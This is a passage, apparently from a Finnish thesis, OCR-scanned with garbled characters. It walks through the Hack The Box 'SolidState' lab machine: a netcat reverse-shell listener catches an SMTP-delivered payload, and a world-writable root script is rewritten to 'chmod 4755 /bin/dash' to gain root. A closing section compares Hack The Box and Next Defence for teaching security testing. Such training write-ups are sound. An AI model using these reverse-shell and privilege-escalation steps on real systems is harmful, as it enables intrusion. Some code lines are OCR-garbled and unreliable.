[+]Connecting to James SMTP server...
[+]1Sending payload...
[+]Done! Pay d will once body logs in.
:~/Documents/HB

Kuva 21. Komentosarjan suoritus.

Nc-sovelluksella kuunnellaan payloadin suoritusta, kun palvelimeen kirjaudutaan
payload suoritetaan ja saadan etayhteys palvelimeen (Kuva 22.).
:~/Documents/HBT/boxes/Bastion# nc -lvnp 4444

listening on [any] 4444
connect to [10.10.14.5] from (UNKNOWN) [18.10.10.51] 54878

${debian chroot:+($debian chroot)}mindy@solidstate:~$

Kuva 22. Etayhteys palvelimeen.
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Palvelimelle paastya voidaan ajaa erilaisia komentokehotteita, joilla voidaan katsoa tie-
dosto-oikeuksia jotka ovat vaarin konfiguroitu. Esimerkissé on kaytetty LinEnum.sh-ko-
mentosarjaa, joka on loytényt /opt-kansiosta tmp.py komentokehotteen, jonka omistaa
root , mutta kaikki kayttajat pystyvat tatd muokkaamaan (Kuva 23.).

-rwxrwxrwx 1 root root 105 Aug 22 2017 /opt/tmp.py

Kuva 23. LinEnum.sh-komentosatrja.

Tmp.py-komentosarja voidaan avata ja lukea, komentosarja kayttaa pythonin os- ja sys-
tem-moduuleja, joilla voidaan kayttaa kayttojarjestelman komentoja python komentoke-

hotteella. Komentosarja vain poistaa kaikki tiedostot /tmp-kansiosta (Kuva 24.).

${debian chroot:+($debian chroot)}mindy@solidstate: /dev/shm$ cat /opt/tmp.py
cat Jopt/tmp.py

#!/usr/bin/env python

import os

import sys

tem({'rm -r Jtmps* ')

${debian chroot:+(%debian chroot)}mindy@solidstate: /dev/shm$ I

Kuva 24. Tmp.py-komentosarja.

Tmp.py-komentosarjaa voidaan muokata, tassa tapauksessa korvataan /tmp tiedoston
puhdistaminen 'chmod 4755 /bin/dash’ komenolla, joka muuttaa dash-komentotulkin
suoritusoikeuksia niin, etta kaikki toiminnot kyseisella komentotulkilla voidaan suorittaa
paakayttajana eli root-kayttajana (Kuva 25.).

${debian chroot:+($debian chroot)}mindy@solidstate:/opt$ cat tmp.py
#lusr/bin/env python

os.system('chmod 4755 /bin/dash')
except:
sys.exit()

${debian_ chroot:+($debian_ chroot)}mindy@solidstate: /opt$

Kuva 25. Muokattu tmp.py-komentosarja.
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Annetaan komentoriville komento ’'dash’, jolla voidaan kayttdd dash-komentotulkkia.
Koska juuri muokattu komentosarja suorittaa komentoja root-kayttajana, voidaan mindy-
kayttajalla lukea root-tiedostoja kuten root.txt (Kuva 26.).

${debian chroot:+($debian chroot)}mindy@solidstate: /opt$ dash

# id

uid=1081(mindy) gid=1081(mindy)} euid=0(root) groups=1001(mindy)
# cd /root

# cat root.txt

b4c9723a28899b1c45db281 "

# 1

Kuva 26. Root.txt.
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4 JOHTOPAATOKSET

Esimerkkipalvelimet on luokiteltu keskiverto palvelimiksi vaikeusasteiltaan. Ne vastaavat
hyvin oikeita palvelimia eivatk& ole CTF-painoitteisia. Molemmat palvelimet ovat murret-
tavissa hyddyntéden yleistietdmystd linus-palvelimista seka kayttden yleisia tietotur-

vatestaukseen suunniteltuja ohjelmistoja, kuten Nmap-verkkoskanneria.

HacktheBox-ymparistdsta on hankala I6ytaa palvelimia, jotka eivat ole CTF-painoitteisia

etenkin, jos palvelin on viela aktiivinen eika siitd ole ohjeita saatavilla.

Ty6n aikana tehdesséni dokumentaatiota HacktheBox- ja Next Defence-ympaéristoista
huomasin, ettd omat taitoni varsinkin Windows-palvelimien testaamisen osalta kehit-
tyivat paljon. Myds uusien ohjelmien ja ohjelmistojen omaksuminen ja kayttdminen ke-

hittyi etenkin Windows-palvelimia ja vaikeampia Linux-palvelimia testatessa.

HacktheBox-ymparistdssa on eri vaikeusasteen omaavia palvelimia, esimerkiksi helppo
ja vaikea. Nama vaikeusasteet eivat valttamatta pida paikkaansa, silla palvelin saattaa
olla erittdin erikoistunut yhteen osa-alueeseen, kuten esimerkiksi oman koodin Kirjoit-
tamiseen, jolla voidaan hyokéata jotain palvelua vastaan, jotta palvelimeen paastaan

edes sisélle asti.

Taman huomasi hyvin tehdessaan esimerkiksi palvelinta, joka oli julkaistu vuonna 2017
ja luokiteltu vaikeaksi verrattuna palvelimeen, joka julkaistu vuonna 2018 ja luokiteltu

helpoksi.

HacktheBox-ympariston isoin ongelma onkin palvelimien sopivuus opetukseen, koska
niiden seulontaan kuluu aikaa, johon tarvitaan resuresseja. Toisena ongelmana on eten-
kin Windows-palvelimien epavakaus, koska vanhemmat Windows-palvelimet kaatuilevat
helposti, jolloin niita pitéisi olla kokoajan palauttelemassa. Kolmantena ongelmana on
arviointi, mikali haluttaisiin, ettd kurssiin sisaltyisi koe joka tehtaisiin HacktheBox-

ymparistdssa aktiiviseen palvelimeen.

Aktiiviset koneet pitaa ensin seuloa lapi, joka on mahdollista, silla koneet voidaan jar-
jestaa vaikeuasteen mukaan. Tama ei silti tarkoita, etta palvelin olisi helposti tehtavissa.
Aktiiviset palvelimet vanhenevat yksi kerrallaan viikoittain, jolloin kokeeksi valittu palvelin
saattaa vanhentua ja siitd julkaistaan ympéaristossa seka internetissd ohjeet, jolloin

kyseista palvelinta ei voida kayttda kokeessa.



19

HacktheBox-ymparistossa palvelimien sisaltoon ei pysty lainkaan itse vaikuttamaan.
Ymparisto pydrii internetissa, jolloin yhteys ympéaristéon on kiinni siita, etté internet-
yhteys toimii tai HacktheBox-ymmparistd on toiminnassa.

HacktheBox-ymparistdn paras ominaisuus on sen aktiivisuus, tama ilmenee siita, etta
palvelua péaivitetddn hyvin aktiivisesti lisaamalla siihen uusia ominaisuuksia. Joka viikko
tulee uusi palvelin testattavaksi seka erilaisia haasteita aina silloin talléin. HacktheBox

jarjestaa ja on mukana myos CTF-tapahtumissa.

Vastaavasti Next Defence-ymparistdon suurin ongelma on sen vanhanaikaisuus, jota
voitasiin varmasti kehittda, mutta se vaatisi resursseja ensin kehittdmiseen seka sen ja-
lkeen testaamiseen. Toisena ongelmana Next Defence-ympéristossa on Windows-
palvelimien puute, joita kuitenkin olisi hyva opettaa testaamaan, silla ne ovat kuitenkin
erilaisia verrattuna Linux-palvelimiin. Kolmantena ongelmana Next Defence-
ymparistossa on erilaisten tietoturvatestaukseen kaytettyjen ohjelmien kaytén puute eli
kayttajan ei tarvitse opetella kayttamaan yleisempia tietoturvatestaukseen tarkoitettuja

ohjelmia, kuten esimerkiksi dirbuster, jolla voidaan etsia tiettyja tiedostoja palvelimelta.

Next Defence-ympariston paras ominaisuus on, ettéd Turun ammattikorkeakoulu omistaa

palvelimet, jolloin niiden sisdltéon voidaan vaikuttaa seké yllapito hoitaa itse.
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